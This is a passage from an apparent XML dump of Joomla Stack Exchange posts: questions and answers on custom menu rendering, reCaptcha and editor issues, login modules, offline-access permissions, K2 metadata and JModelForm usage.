href='#_'&amp;gt;$tlink[0]&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This is how my menu is build:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Render the menu item.&#xA;&#xA;echo '&amp;lt;li' . $class . '&amp;gt;';&#xA;$tlink = array();&#xA;switch ($item-&amp;gt;type):&#xA;case 'separator':&#xA;case 'url':&#xA;case 'component':&#xA;case 'heading':&#xA;    $tlink = modTriggerMenuHelper::getUrlLink($item);&#xA;    break;&#xA;&#xA;default:&#xA;    $tlink = modTriggerMenuHelper::getUrlLink($item);&#xA;    break;&#xA;endswitch;&#xA;&#xA;if (($item-&amp;gt;type) == 'heading')&#xA;    {&#xA;    echo &quot;&amp;lt;a href='#_'&amp;gt;$tlink[0]&amp;lt;/a&amp;gt;&quot;;&#xA;    }&#xA;  else&#xA;if (($item-&amp;gt;type) == 'separator')&#xA;    {&#xA;    echo &quot;&amp;lt;a href='#_'&amp;gt;$tlink[0]&amp;lt;/a&amp;gt;&quot;;&#xA;    }&#xA;  else&#xA;if (count($tlink) == 3)&#xA;    {&#xA;    echo &quot;&amp;lt;a href='$tlink[1]'&amp;gt;$tlink[0]&amp;lt;/a&amp;gt;&quot;;&#xA;    }&#xA;&#xA;if ($item-&amp;gt;deeper)&#xA;    {&#xA;    echo '&amp;lt;ul&amp;gt;';&#xA;    }&#xA;elseif ($item-&amp;gt;shallower)&#xA;    {&#xA;&#xA;    // The next item is shallower.&#xA;&#xA;    echo '&amp;lt;/li&amp;gt;';&#xA;    echo str_repeat('&amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;/li&amp;gt;', $item-&amp;gt;level_diff);&#xA;    }&#xA;  else&#xA;    {&#xA;&#xA;    // The next item is on the same level.&#xA;&#xA;    echo '&amp;lt;/li&amp;gt;&amp;lt;/li&amp;gt;';&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3524" LastEditorUserId="126" LastEditDate="2015-09-04T21:36:56.880" LastActivityDate="2015-09-06T13:37:59.987" Title="How do I get the Link CSS Style param" Tags="|joomla-3.x|menu-item|menu-parameters|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13469" PostTypeId="1" CreationDate="2015-09-04T16:23:18.537" Score="1" ViewCount="434" Body="&lt;p&gt;I'm on Joomla 3.4.3, PHP 5.4.40 and using reCaptcha for the contact form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever I use reCaptcha 1.0 everything works as intended.&#xA;If I use reCaptcha 2.0 it's like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I fill the contact form, press &quot;I'm not a robot&quot;, then I pass the test (it is verifying fine because if you make mistake it tells you to do it again) then I press Send Email...&#xA;And it's like it reloads the page with the form still filled in... and the checkmark is gone on reCaptcha and I can keep doing the captcha indefinitely but it will refuse to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the problem? Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;console says stuff like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Use of getAttributeNode() is deprecated. Use getAttribute() instead.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is an error/warning it shows on page load. But it's on reCaptchas side so I doubt I could do anything about it and it's shown on both 1.0 and 2.0 so I don't know if this is the problem here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just for you to know, I am not on old reCaptcha keys, I went to &quot;getrecaptcha&quot; just yesterday, and I've already tried to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;get new reCaptcha key&lt;/li&gt;&#xA;&lt;li&gt;clear joomla cache&lt;/li&gt;&#xA;&lt;li&gt;purge joomla expired cache&lt;/li&gt;&#xA;&lt;li&gt;set all reCaptcha like settings in joomla control panel and pluging&#xA;itself to be all turned off... then turned on again&lt;/li&gt;&#xA;&lt;li&gt;switching back to protostar template to see if it might be a template&#xA;issue&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;nothing really helped. And yeah, I'm using the built in joomla reCaptcha plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested this on my localhost copy... and seems to work fine there O_o&#xA;what is going on here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE2:&#xA;Now that I see that the problem is only with my live page...&#xA;Found this on my hosting's cpanel... could this be causing problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also notice there's something called anti-hotlink enabled on the hosting... would that interfere with reCaptcha?&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Pb5a9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pb5a9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE3:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried other captcha plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First went with&#xA;[no Captcha Recaptcha by TechJoomla]&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/access-a-security/no-captcha-recaptcha&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://extensions.joomla.org/extensions/extension/access-a-security/no-captcha-recaptcha&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but it had exactly the same problem...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I tried&#xA;[no Captcha Recaptcha by Bharat Kumar Dhaker] &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/access-a-security/no-captcha-recaptcha-joomla-plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://extensions.joomla.org/extensions/extension/access-a-security/no-captcha-recaptcha-joomla-plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The captcha by Bharat Kumar Dhaker works for me!&#xA;I have checked and compared their code... first thing that comes to mind is that this one has something with curl in the code while others have no mention of curl.&#xA;It's just a wild guess that it might be the reason why this one works but others, including the built in don't.&#xA;I will not thoroughly compare the code of both plugins to see what makes it click :&amp;lt;&lt;/p&gt;&#xA;" OwnerUserId="5645" LastEditorUserId="5645" LastEditDate="2015-09-04T19:58:45.220" LastActivityDate="2015-09-04T19:58:45.220" Title="reCaptcha 1.0 works but 2.0 won't?" Tags="|plugin|joomla-3.4|form|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="13470" PostTypeId="1" CreationDate="2015-09-04T17:22:19.887" Score="3" ViewCount="452" Body="&lt;p&gt;Whenever I save an Article using TinyMCE or JCE, I have Paragraph tags inserted below any HR's I have in the Article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Initially, I was getting 4(!) Paragraph (open and close) tags after I saved, but after fiddling with the XML and PHP for TinyMCE - changing NewLines settings to False - this went down to one. But it was still one too many.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then tried it in JCE editor and again, same issue. But still at just one inserted Paragraph.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing New lines from P to BR in TinyMCE settings made no difference whatsoever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering whether Joomla core is adding in the P tags, as both editors I try &lt;em&gt;should&lt;/em&gt; be set to prevent it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone had any experience with this one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help appreciated!&lt;/p&gt;&#xA;" OwnerUserId="3589" LastEditorUserId="3650" LastEditDate="2016-03-08T00:26:23.890" LastActivityDate="2017-01-03T05:09:47.720" Title="P tags appearing when I insert HR" Tags="|joomla-3.x|jce|t3-framework|tinymce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13471" PostTypeId="2" ParentId="13468" CreationDate="2015-09-04T17:34:48.297" Score="0" Body="&lt;p&gt;You need add a class in your item Menu like &quot;fa&quot; &amp;lt;- Its ok;&#xA;Now, you need create CSS class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.fa:before {&#xA;    content: &quot;\f054&quot;; /* Your content icon http://astronautweb.co/snippet/font-awesome/ */&#xA;    font-family: FontAwesome;&#xA;    float: left;&#xA;    padding-left: 0px 10px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can create one class for each menu item;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.fa2:before {&#xA;    content: &quot;\f080&quot;; /* Your content icon http://astronautweb.co/snippet/font-awesome/ */&#xA;    font-family: FontAwesome;&#xA;    float: left;&#xA;    padding-left: 0px 10px;&#xA;}&#xA;.fa3:before {&#xA;    content: &quot;\f150&quot;; /* Your content icon http://astronautweb.co/snippet/font-awesome/ */&#xA;    font-family: FontAwesome;&#xA;    float: left;&#xA;    padding-left: 0px 10px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2015-09-04T17:34:48.297" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13472" PostTypeId="2" ParentId="97" CreationDate="2015-09-04T17:42:41.517" Score="2" Body="&lt;p&gt;I've used this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($doc-&amp;gt;_scripts as $script =&amp;gt; $value)&#xA;{&#xA;    if (preg_match('/media\/jui/i', $script))&#xA;      unset($doc-&amp;gt;_scripts[$script]);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1595" LastActivityDate="2015-09-04T17:42:41.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13473" PostTypeId="1" CreationDate="2015-09-04T20:20:29.307" Score="1" ViewCount="330" Body="&lt;p&gt;I need an extension that doesn't show the login form, instead, it redirects to the login page, and after the user is logged in, it displays &quot;Logout&quot; in the pace of the &quot;Login&quot; text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 - Public user opens the site&#xA;2 - He sees a link named &quot;Login/Register&quot;, or just &quot;Login&quot;&#xA;3 - He clicks the link and gets redirected to the login page&#xA;4 - He logs in&#xA;5 - Now the link's text has changed to &quot;Logout&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Got it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's simple, but I can't find it anywhere. I could only find SC Login module, but it gives me a few jquery conflicts, as it uses a modal pop up.&lt;/p&gt;&#xA;" OwnerUserId="6863" LastActivityDate="2016-04-25T16:41:36.110" Title="Need a login plugin/module without form, only text" Tags="|joomla-3.x|joomla-2.5|joomla-3.3.x|joomla-3.4|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13474" PostTypeId="1" CreationDate="2015-09-04T21:21:15.037" Score="0" ViewCount="198" Body="&lt;p&gt;When logging in to the back-end of my website I had the problem of &lt;code&gt;Cannot open file for writing log&lt;/code&gt;. After finding the solution to this error and solving it by changing the log path's, i encountered the following problem: &lt;code&gt;not able to login&lt;/code&gt;. I get the error that login name and password is incorrect. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me out please?&lt;/p&gt;&#xA;" OwnerUserId="6864" LastEditorUserId="1629" LastEditDate="2015-09-04T21:29:01.280" LastActivityDate="2015-09-04T21:37:52.963" Title="Can't log in to backend Joomla3 after changing log-path" Tags="|joomla-3.x|login|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13475" PostTypeId="2" ParentId="13474" CreationDate="2015-09-04T21:37:52.963" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Clear browser cache;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Look in your configuration file /configuration.php around line 55 ~ 60 if the folder was correct;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;public $log_path = '/home/xxxxxx/public_html/logs';&lt;/p&gt;&#xA;&#xA;&lt;p&gt;public $tmp_path = '/home/xxxxxx/public_html/tmp';&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;*This file path structure was in cPanel&lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2015-09-04T21:37:52.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13476" PostTypeId="2" ParentId="13468" CreationDate="2015-09-04T21:58:20.010" Score="1" Body="&lt;p&gt;Assuming you are modifying the mod_menu's default.php template, then to access the &quot;&lt;strong&gt;Link CSS Style&lt;/strong&gt;&quot; param, all you need is &lt;code&gt;$item-&amp;gt;anchor_css&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But the above answer would be valid only for the mod_menu and only in the context of:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$list = ModMenuHelper::getList($params);&#xA;foreach ($list as $i =&amp;gt; &amp;amp;$item)&#xA;{&#xA;$class = $item-&amp;gt;anchor_css;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Update following the dialogue in the comments section:&lt;/h3&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Jakub Skowroński::&lt;/strong&gt; &lt;em&gt;I building separate menu module. I tried your method but I cant get the class.&lt;/em&gt;   &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;FFrewin::&lt;/strong&gt; &lt;em&gt;Of course you can't get the class if you are in a module of yours and you haven't created such class.&lt;/em&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;FFrewin::&lt;/strong&gt; &lt;em&gt;The module you are creating, what will do that will be different from the mod_menu ?&lt;/em&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Jakub Skowroński::&lt;/strong&gt; &lt;em&gt;Different function and styling. &lt;strong&gt;Is it really so hard to get this one param to other module&lt;/strong&gt;?&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;FFrewin::&lt;/strong&gt; It's no hard at all. But php variables get their meaning when used inside a specific context. In your code you are using an &lt;strong&gt;&lt;code&gt;$item&lt;/code&gt;&lt;/strong&gt; which seems to be an object from the way you use it. However, what object is this, is not possible to know from the code you have presented. Therefore we can't know what properties or methods this object may have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I asked for what your module will do differently than the &lt;strong&gt;mod_menu&lt;/strong&gt;, because the code seems to be similar to the mod_menu, and I am not sure if you really need to create a new module, or simply create a &lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Understanding_Output_Overrides&quot; rel=&quot;nofollow&quot;&gt;template override&lt;/a&gt;&lt;/strong&gt; for the mod_menu, where you can easily use the &lt;strong&gt;&lt;code&gt;$list&lt;/code&gt;&lt;/strong&gt; array of &lt;strong&gt;&lt;code&gt;$item&lt;/code&gt;&lt;/strong&gt; objects (generated by the &lt;strong&gt;&lt;code&gt;ModMenuHelper::getList()&lt;/code&gt;&lt;/strong&gt;, to access each &lt;strong&gt;&lt;code&gt;$item&lt;/code&gt;&lt;/strong&gt; object's properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whatever the case, you can study the &lt;strong&gt;&lt;code&gt;ModMenuHelper::getList($params)&lt;/code&gt;&lt;/strong&gt; method, to see how it returns the &lt;strong&gt;&lt;code&gt;$list&lt;/code&gt;&lt;/strong&gt; array that is populated with the menu items and their properties as objects, of a specific menu that is passed as an argument and has been previously selected in the backend of the module. Then you can modify it to suit your needs inside your &lt;strong&gt;helper.php&lt;/strong&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below as a short snippet, similar to the one inside the &lt;strong&gt;mod_menu&lt;/strong&gt; helper file. which is addressing how to access the css anchor property of menu items, this snippet example may help:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app   = JFactory::getApplication();&#xA;$menu  = $app-&amp;gt;getMenu();&#xA;$items = $menu-&amp;gt;getItems('menutype', 'mainmenu');&#xA;&#xA;if ($items)&#xA;{&#xA;    foreach ($items as $i =&amp;gt; $item)&#xA;    {&#xA;        $item-&amp;gt;anchor_css   = htmlspecialchars($item-&amp;gt;params-&amp;gt;get('menu-anchor_css', ''), ENT_COMPAT, 'UTF-8', false); &#xA;        //Above we are assigning the anchor_css protected property, to another object property 'anchor_css' for easy access.&#xA;    }&#xA;}&#xA;&#xA;echo &quot;&amp;lt;pre&amp;gt;&quot; . print_r($items, true).&quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;//or &#xA;echo $items[0]-&amp;gt;anchor_css;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Documentation: &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JMenuSite.html#method_getItems&quot; rel=&quot;nofollow&quot;&gt;JMENU SITE API&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-09-06T13:37:59.987" LastActivityDate="2015-09-06T13:37:59.987" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13477" PostTypeId="1" CreationDate="2015-09-05T03:34:34.867" Score="8" ViewCount="4597" Body="&lt;p&gt;When putting my Joomla site in offline mode, only Super Users can log in and view the site:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nZVBe.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nZVBe.jpg&quot; alt=&quot;Offline mode&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I allow registered users to log in and see the site even in offline mode, without giving them Super user privileges?&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-09-05T06:51:18.913" Title="How to allow registered users on offline site" Tags="|joomla-3.x|joomla-2.5|permissions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13478" PostTypeId="2" ParentId="13477" CreationDate="2015-09-05T03:34:34.867" Score="11" Body="&lt;p&gt;To control what user groups have access to an offline site, go to Global Configuration (&lt;strong&gt;System&lt;/strong&gt; -&gt; &lt;strong&gt;Global Configuration&lt;/strong&gt;) and select the &lt;strong&gt;Permissions&lt;/strong&gt; tab. Select the user group you want to give access on the right hand side (in this case &quot;Registered&quot;), and set &lt;strong&gt;Offline Access&lt;/strong&gt; to &quot;Allowed&quot;. (Default setting is &quot;Inherited&quot;, thus &lt;em&gt;Not Allowed&lt;/em&gt;. Save. Your registered users will now be able to log in even if your site is offline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JJoHY.jpg&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JJoHY.jpg&quot; alt=&quot;Permission settings&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="126" LastEditDate="2015-09-05T06:51:18.913" LastActivityDate="2015-09-05T06:51:18.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13481" PostTypeId="1" CreationDate="2015-09-05T11:08:50.913" Score="1" ViewCount="138" Body="&lt;p&gt;I am currently building my first serious joomla website and i am trying to add the&#xA;kunena forum. I have read every possibol guide and followed them, but i do not succeed to see the forum on the website.&#xA;I made sure it's published and not hidden practically everywhere, and i do not know what to do.&#xA;My current template is xeon if that matters&#xA;(link: &lt;a href=&quot;http://demo.joomshaper.com/?template=xeon&quot; rel=&quot;nofollow&quot;&gt;http://demo.joomshaper.com/?template=xeon&lt;/a&gt;) &lt;/p&gt;&#xA;" OwnerUserId="6867" LastActivityDate="2020-02-14T13:53:17.447" Title="Adding kunena forum to joomla website" Tags="|joomla-3.x|kunena|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13484" PostTypeId="2" ParentId="474" CreationDate="2015-09-05T15:17:41.163" Score="1" Body="&lt;p&gt;I will usually use JInput in the controller to route the request, then pass the request to the model via a registry object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally you'd be passing the request data to the controller from your router logic, in order to make DI easy in your controllers but...at least this way the request dependencies are injected into the model and I don't need access to JInput to test it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I have the data in the model, I can use it to set the model state, then the controller injects that model into the view with all the data necessary to fulfill the view data reqs already loaded into its properties.&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2015-09-05T15:17:41.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13485" PostTypeId="1" AcceptedAnswerId="13487" CreationDate="2015-09-05T16:18:00.067" Score="3" ViewCount="1929" Body="&lt;p&gt;I am using k2. It seems to me meta description for each k2 item is automatically generated by getting a small part of the item. I think meta description is essential to SEO, isn't it? Is there anyway to manually edit it?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2015-10-29T11:23:18.887" Title="Where to edit meta description for each article?" Tags="|metadata|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13487" PostTypeId="2" ParentId="13485" CreationDate="2015-09-05T21:58:08.923" Score="3" Body="&lt;p&gt;In Joomla 2.5 I have in:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Components &gt;&gt; K2 &gt;&gt; Items &gt;&gt; Click in article item &gt;&gt; Tab &quot;Meta data&#xA;  information&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can edit manually information here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3MoJQ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3MoJQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5617" LastEditorUserId="126" LastEditDate="2015-10-26T21:10:55.763" LastActivityDate="2015-10-26T21:10:55.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13488" PostTypeId="2" ParentId="7261" CreationDate="2015-09-05T23:28:38.893" Score="1" Body="&lt;p&gt;I solve this same problem with JCE Editor and Media Manager plugin:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;JCE Editor &lt;a href=&quot;https://www.joomlacontenteditor.net/&quot; rel=&quot;nofollow&quot;&gt;https://www.joomlacontenteditor.net/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Media manager &lt;a href=&quot;https://www.joomlacontenteditor.net/downloads/plugins/media-manager&quot; rel=&quot;nofollow&quot;&gt;https://www.joomlacontenteditor.net/downloads/plugins/media-manager&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now, all files are listed and i can select any file.&lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2015-09-05T23:28:38.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13489" PostTypeId="1" AcceptedAnswerId="13647" CreationDate="2015-09-06T07:24:01.710" Score="2" ViewCount="264" Body="&lt;p&gt;I am facing some strange issue. I have the similar setup for my component on both front-end and back-end component. Here is my view class signature.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MyComponentViewForm extends JViewLegacy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now in my view.html.php, I var_dump &lt;code&gt;$this-&amp;gt;getForm()&lt;/code&gt;, &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Works fine and dumps the object from the admin component view class&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Fatal error: Call to undefined method&lt;/code&gt; error in front-end view class.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="4134" LastEditorUserId="9471" LastEditDate="2018-06-09T18:47:05.643" LastActivityDate="2018-06-09T18:47:05.643" Title="JViewLegacy::getForm method works fine in admin component, no method found in front-end" Tags="|custom-component|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13490" PostTypeId="1" CreationDate="2015-09-06T07:48:44.997" Score="0" ViewCount="165" Body="&lt;p&gt;I am looking for an extension or a way to allow users to upload their documents based on the category e.g. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;a User will upload food recipe document (pdf/doc) in the category of &quot;Chinese&quot; or &quot;Maxican&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if some one would click Mixican then all the uploaded documents will be displayed in link so the user could download..&lt;/p&gt;&#xA;" OwnerUserId="5846" LastEditorUserId="126" LastEditDate="2015-09-06T11:33:42.477" LastActivityDate="2015-09-06T11:33:42.477" Title="Upload form to upload files and filter the public view based on category" Tags="|joomla-3.x|form|category|file-upload|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13491" PostTypeId="2" ParentId="13489" CreationDate="2015-09-06T09:10:45.683" Score="1" Body="&lt;p&gt;it not because the problem in your View.&#xA;You need make sure that your Model extend the &lt;code&gt;JModelForm&lt;/code&gt; (or &lt;code&gt;JModelAdmin&lt;/code&gt;) and implement method &lt;code&gt;getForm&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;YourComponentModelForm extends JModelForm&#xA;{&#xA;    public function getForm($data = array(), $loadData = true)&#xA;    {&#xA;        $form = $this-&amp;gt;loadForm('com_yourcomponent.formname', 'formname', array('control' =&amp;gt; 'jform', 'load_data' =&amp;gt; $loadData));&#xA;        if (empty($form))&#xA;        {&#xA;           return false;&#xA;        }&#xA;        return $form;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="87" LastActivityDate="2015-09-06T09:10:45.683" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13492" PostTypeId="1" CreationDate="2015-09-06T12:58:48.523" Score="2" ViewCount="939" Body="&lt;p&gt;I am using Simple Image Gallery plugin to preview my images in articles. However , when I add my images in the folder set in the configuration only the &lt;code&gt;{gallery}&lt;/code&gt; tag is displayed and not the actual image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have double checked my directory and also that the plugin is enabled but everything seems to be correct. Also I changed the cache folder's permission to 777. Is there anything other than those listed above that may cause this problem to occur ?&lt;/p&gt;&#xA;" OwnerUserId="5429" LastActivityDate="2015-09-07T13:03:30.023" Title="Simple Image Gallery plugin not displaying the images" Tags="|joomla-3.x|plugin|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13493" PostTypeId="2" ParentId="1170" CreationDate="2015-09-06T14:25:15.320" Score="0" Body="&lt;p&gt;You can use RSForm component to create a registration form with any fields and customizable welcome email. After this, you can enable registration plugin to include this user information in Joomla like a Registration form;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.rsjoomla.com/joomla-extensions/rsform.html&quot; rel=&quot;nofollow&quot;&gt;https://www.rsjoomla.com/joomla-extensions/rsform.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.rsjoomla.com/support/documentation/rsform-pro/plugins-and-modules/rsformpro-joomla-user-registration-plugin.html&quot; rel=&quot;nofollow&quot;&gt;https://www.rsjoomla.com/support/documentation/rsform-pro/plugins-and-modules/rsformpro-joomla-user-registration-plugin.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;See this tutorial video in RSForm site.&lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2015-09-06T14:25:15.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13496" PostTypeId="1" AcceptedAnswerId="13497" CreationDate="2015-09-06T18:14:16.757" Score="0" ViewCount="778" Body="&lt;p&gt;I would like to remove article id's from Joomla 3.4.3 urls; example.com/howto/428-how-to-play-android-games-on-your-pc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found following from other threads;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&lt;strong&gt;Replace this:&lt;/strong&gt;&#xA;$advanced = $params-&gt;get('sef_advanced_link', 0);&#xA;&lt;strong&gt;With this:&lt;/strong&gt;&#xA;$advanced = $params-&gt;get('sef_advanced_link', 1);&#xA;Step 3&#xA;You want to edit your router.php file:&#xA;- From: -&gt;where($db-&gt;quoteName(‘alias’) . ‘ = ‘ . $db-&gt;quote($db-&gt;quote($segment)));&#xA;- To: -&gt;where($db-&gt;quoteName(‘alias’) . ‘ = ‘ . $db-&gt;quote($segment));&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is; will above steps work on Joomla 3.4.3?&#xA;What if Joomla updates in future? Will I need to again edit router.php?&#xA;Will it destroy url structure, when i change after Joomla update? &#xA;Will it effect SEO?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have installed quick-starter of Joomla template and now wants to live site before removing id's from 